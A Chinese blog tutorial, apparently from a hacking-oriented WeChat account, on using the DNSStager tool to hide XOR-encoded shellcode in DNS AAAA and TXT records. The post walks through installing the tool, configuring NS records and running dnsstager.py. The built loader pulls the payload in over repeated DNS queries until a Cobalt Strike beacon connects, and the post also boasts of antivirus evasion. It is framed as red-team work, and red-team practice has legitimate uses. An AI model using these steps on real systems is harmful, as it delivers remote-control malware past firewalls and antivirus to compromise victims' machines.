前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >DNSStager-DNS分离shellcode

DNSStager-DNS分离shellcode

作者头像
HACK学习
发布2021-06-24 17:39:27
1.1K0
发布2021-06-24 17:39:27
举报
文章被收录于专栏:HACK学习

1.DNSStager介绍

类似于shellcode分离免杀的思路,DNSStager是用来帮助红队人员执行在DNS隐藏多段shellcode,通过多次请求dns查询,达到加载shellcode内容然后上线的目的。

其原理是:将你申请的根域名(如gendns.tk)作为ns服务器,提供test.gendns.tk子域名的解析服务,然后工具在本地对test.gendns.tk建立多个AAAA记录的IPV6地址,生成运行程序循环请求这些个记录,拼接AAAA记录作为shellcode加载,从而达到上线的目的。

优点:

1加载shellcode为外部dns请求,防火墙很少拦截。

2使用xor加密程序运行,免杀部分AV。

工具基于多个DNS记录,如开源工具 IPv6 和TXT 并再注入到内存中并运行它。

官方地址:https://shells.systems/unveiling-dnsstager-a-tool-to-hide-your-payload-in-dns/

DNSStager将创建一个伪造的DNS服务器,该服务器将根据AAAA和TXT记录解析您的域的伪造地址,这些地址将呈现您的有效负载的一部分,该净荷已编码/加密并可供代理使用。

2.DNSStager使用条件

要安装DNSStager,您需要首先使用以下命令从官方存储库中克隆它:

代码语言:javascript
复制
git clone https://github.com/mhaskar/DNSStager

然后使用以下命令安装DNSStager的所有python要求:

代码语言:javascript
复制
pip3 install -r requirements.txt

此外需要注意的是,需要禁用本机的systemd-resolved服务:

代码语言:javascript
复制
sudo service systemd-resolved stop
sudo systemctl disable systemd-resolved

环境可选c。

golang;c需要安装ming-w64(这里推荐ubuntu、kali系统,centos上楼主尝试多次安装ming-w64均失败):

golang需要GoLang version 1.16.3,并安装

  • golang.org/x/sys
  • github.com/miekg/dns

这两个第三方依赖库(golang扩展目前还未复现成功,go-1.16各种坑)。

3.域名的配置

使用DNSStager作为shellcode存储媒介,当然要有一个域名,可在美国freenom等服务商处申请(楼主各种失败,最后只能花钱买一个),申请好后需要解析NS

到第三方域名服务商,例如dnspod,cloudflare,在这些地方添加子域名test.gendns.tk的NS记录到你自己的vps才可以。

前提:VPS对外开放53端口的UDP数据,提供NS查询。

具体如何使用cloudflare请参考《实战填坑 | CS使用CDN隐藏C2》

https://mp.weixin.qq.com/s/B30Unfh5yAN4A151P1gsMQ

CDN配置以cloudflare为例,在DNS选项处添加NS记录:

最后的效果:

在你填写的vps中下载工具,使用方法(payload以x64/c/ipv6为例):

代码语言:javascript
复制
dnsstager.py --domain test.gendns.tk --payload x64/c/ipv6 --output /home/a.exe --prefix cloud-srv- --shellcode_path /home/DNSStager/payload.bin --sleep 1 --xorkey 0x10

其中payload有多种,使用python 3 dnsstager.py –payloads查看:

代码语言:javascript
复制
x64/c/ipv6      Resolve your payload as IPV6 addresses xored with custom key via compiled x64 C code
x86/c/ipv6      Resolve your payload as IPV6 addresses xored with custom key via compiled x86 C code
x64/golang/txt      Resolve your payload as TXT records encoded using base64 compiled x64 GoLang code
x64/golang/ipv6      Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x64 GoLang code
x86/golang/txt      Resolve your payload as TXT records encoded using base64 compiled x86 GoLang code
x86/golang/ipv6      Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x86 GoLang code

注意:其中--prefix cdn参数的cloud-srv-可自由配置,就是在test.gendns.tk之前添加NS子域名,作为多个shellcode分片存储媒介。

4.工具的使用

在运行工具后会在本机监听53端口:

操作之前使用dig命令可检查ns域名:dig AAAA cloud-srv-0.test.gendns.tk

未成功时:

已经插入了AAAA记录:

使用dig命令查询会看到记录,运行程序后监听端也会看到:

提示共需要发送56次dns查询请求才能加载完毕shellcode:DNSStager will send 56 DNS requests to get the full payload,意为在vps建立了56个cloud-srv-*.test.gendns.tk NS记录。

wireshark抓包可见请求AAAA记录:

最后CS上线:

免杀效果

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-06-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 HACK学习呀 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 2.DNSStager使用条件
  • 3.域名的配置
  • 4.工具的使用
相关产品与服务
内容分发网络 CDN
内容分发网络(Content Delivery Network,CDN)通过将站点内容发布至遍布全球的海量加速节点,使其用户可就近获取所需内容,避免因网络拥堵、跨运营商、跨地域、跨境等因素带来的网络不稳定、访问延迟高等问题,有效提升下载速度、降低响应时间,提供流畅的用户体验。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档